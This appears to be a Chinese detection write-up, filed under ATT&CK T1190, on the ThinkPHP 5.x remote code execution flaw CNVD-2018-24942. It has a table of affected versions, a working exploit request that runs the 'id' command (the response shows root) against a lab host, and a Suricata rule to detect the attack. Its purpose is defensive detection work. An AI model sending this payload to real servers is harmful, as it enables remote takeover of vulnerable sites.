跳转至

T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞

来自ATT&CK的描述

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

测试案例

ThinkPHP 5.0.全版本,经过其他安全人员实际测试,并非针对5.0全版本

实际影响范围:

版本名  是否可被攻击  攻击条件
5.0.0  否          无
5.0.1  否          无
5.0.2  否          无
5.0.3  否          无
5.0.4  否          无
5.0.5  否          无
5.0.6  否          无
5.0.7  否          无
5.0.8  是          无需开启debug
5.0.9  是          无需开启debug
5.0.10  是          无需开启debug
5.0.11  是          无需开启debug
5.0.12  是          无需开启debug
5.0.13  是          需开启debug
5.0.14  是          需开启debug
5.0.15  是          需开启debug
5.0.16  是          需开启debug
5.0.17  是          需开启debug
5.0.18  是          需开启debug
5.0.19  是          需开启debug
5.0.20  否          无
5.0.21  是          需开启debug
5.0.22  是          需开启debug
5.0.23  是          需开启debug

检测日志

HTTP

测试复现

更多POC请参考:https://blog.csdn.net/weixin_40709439/article/details/86564457

GET /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
Host: 172.17.41.103:33349
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Host: 172.17.41.103:33349
Date: Mon, 10 Aug 2020 16:44:19 +0800
Connection: close
X-Powered-By: PHP/7.2.12
Content-type: text/html; charset=UTF-8

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

检测规则/思路

Suricata规则

alert http any any -> any any (msg:"CNVD-2018-24942-thinkphp5.x任意代码执行漏洞";flow:established,to_server;content:"GET";http_method;content:"/index.php/?s=index/";pcre:"/call_user_func_array/";http_uri;reference:url,blog.csdn.net/weixin_40709439/article/details/86564457;classtype:web-application-attck;sid:3002021;rev:1;)

建议

流量+安全设备比较容易检测到此攻击行为。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

thinkphp5.0和5.1 rce poc总结

https://blog.csdn.net/weixin_40709439/article/details/86564457